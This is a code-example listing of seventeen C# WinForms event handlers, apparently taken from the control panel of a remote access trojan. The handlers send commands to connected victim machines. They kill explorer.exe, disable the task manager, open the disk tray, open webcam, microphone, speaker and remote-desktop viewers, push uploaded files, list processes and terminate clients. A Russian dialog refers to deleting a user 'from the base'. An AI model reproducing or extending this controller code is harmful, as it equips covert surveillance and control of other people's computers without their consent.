예제 #1
0
 private void toolStripMenuItem_16_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         TSocket.sendCommand(Selected, "closedisk", "1");
     }
 }
예제 #2
0
 private void toolStripMenuItem_17_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         listView1.Items[Select].SubItems[6].Text = "0 KB / 0 KB";
     }
 }
예제 #3
0
 private void toolStripMenuItem_10_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         TSocket.sendCommand(Selected, "proccess.kill", "explorer.exe");
     }
 }
예제 #4
0
 private void CheckedOnline()
 {
     while (tc)
     {
         Thread.Sleep(2000);
         int count = 0;
         try
         {
             Socket[] array = ListUsersConnections.ToArray();
             foreach (Socket s in array)
             {
                 if (!ToolSocket.SocketConnected(s))
                 {
                     ListUsersConnections.RemoveAt(count);
                     Action action = delegate
                     {
                         listView1.Items.RemoveAt(count);
                     };
                     if (base.InvokeRequired)
                     {
                         Invoke(action);
                     }
                     else
                     {
                         action();
                     }
                 }
                 count = checked (count + 1);
             }
         }
         catch (Exception)
         {
         }
     }
 }
예제 #5
0
 private void toolStripMenuItem_12_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         TSocket.sendCommand(Selected, "taskmng", "true");
     }
 }
예제 #6
0
 private void toolStripMenuItem_9_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         TSocket.sendCommand(Selected, "link.open", "explorer");
     }
 }
예제 #7
0
 private void toolStripMenuItem_1_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         OpenLink openLink = new OpenLink();
         openLink.sock  = Selected;
         openLink.tsock = TSocket;
         openLink.ShowDialog();
     }
 }
예제 #8
0
 private void ToolStripMenuItem3Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         VoiceManager voiceManager = new VoiceManager();
         voiceManager.sock  = Selected;
         voiceManager.tsock = TSocket;
         voiceManager.ShowDialog();
     }
 }
예제 #9
0
 private void toolStripMenuItem_14_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         Speaker speaker = new Speaker();
         speaker.sock  = Selected;
         speaker.tsock = TSocket;
         speaker.ShowDialog();
     }
 }
예제 #10
0
 private void ToolStripMenuItem2Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         WebCamViewer webCamViewer = new WebCamViewer();
         webCamViewer.sock  = Selected;
         webCamViewer.tsock = TSocket;
         webCamViewer.ShowDialog();
     }
 }
예제 #11
0
 private void method_0(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         MessageView messageView = new MessageView();
         messageView.sock  = Selected;
         messageView.tsock = TSocket;
         messageView.ShowDialog();
     }
 }
예제 #12
0
 private void toolStripMenuItem_0_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         MessageDialog messageDialog = new MessageDialog();
         messageDialog.selected = Selected;
         messageDialog.tsock    = TSocket;
         messageDialog.ShowDialog();
     }
 }
예제 #13
0
 private void toolStripMenuItem_6_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         FullInfo fullInfo = new FullInfo();
         fullInfo.tsock = TSocket;
         fullInfo.sock  = Selected;
         fullInfo.ip    = listView1.SelectedItems[0].Text;
         fullInfo.ShowDialog();
     }
 }
예제 #14
0
 private void toolStripMenuItem_5_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         DialogResult dialogResult = MessageBox.Show("Вы уверены что хотите удалить пользователя с базы?", "Информация", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
         if (dialogResult == DialogResult.Yes)
         {
             TSocket.sendCommand(Selected, "terminate", "1");
         }
     }
 }
예제 #15
0
 private void toolStripMenuItem_3_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         ProccessList proccessList = new ProccessList();
         proccessList.selected     = Selected;
         proccessList.tsock        = TSocket;
         proccessList.proccessname = Path.GetFileNameWithoutExtension(listView1.SelectedItems[0].SubItems[4].Text);
         proccessList.ShowDialog();
     }
 }
예제 #16
0
 private void toolStripMenuItem_2_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         RemoteDesktop remoteDesktop = new RemoteDesktop();
         remoteDesktop.tsock    = TSocket;
         remoteDesktop.selected = Selected;
         remoteDesktop.ShowDialog();
         remoteDesktop.Dispose();
         remoteDesktop.Close();
     }
 }
예제 #17
0
 private void toolStripMenuItem_4_Click(object sender, EventArgs e)
 {
     if (Selected != null && ToolSocket.SocketConnected(Selected))
     {
         openFileDialog1.ShowDialog();
         if (File.Exists(openFileDialog1.FileName))
         {
             byte[] array    = File.ReadAllBytes(openFileDialog1.FileName);
             string fileName = Path.GetFileName(openFileDialog1.FileName);
             sendCommand(Selected, "uploadFile", fileName, Convert.ToString(array.Length));
             int bytes = Selected.Send(array);
             TSocket.UpdateTraffic(Selected, bytes, "write");
         }
     }
 }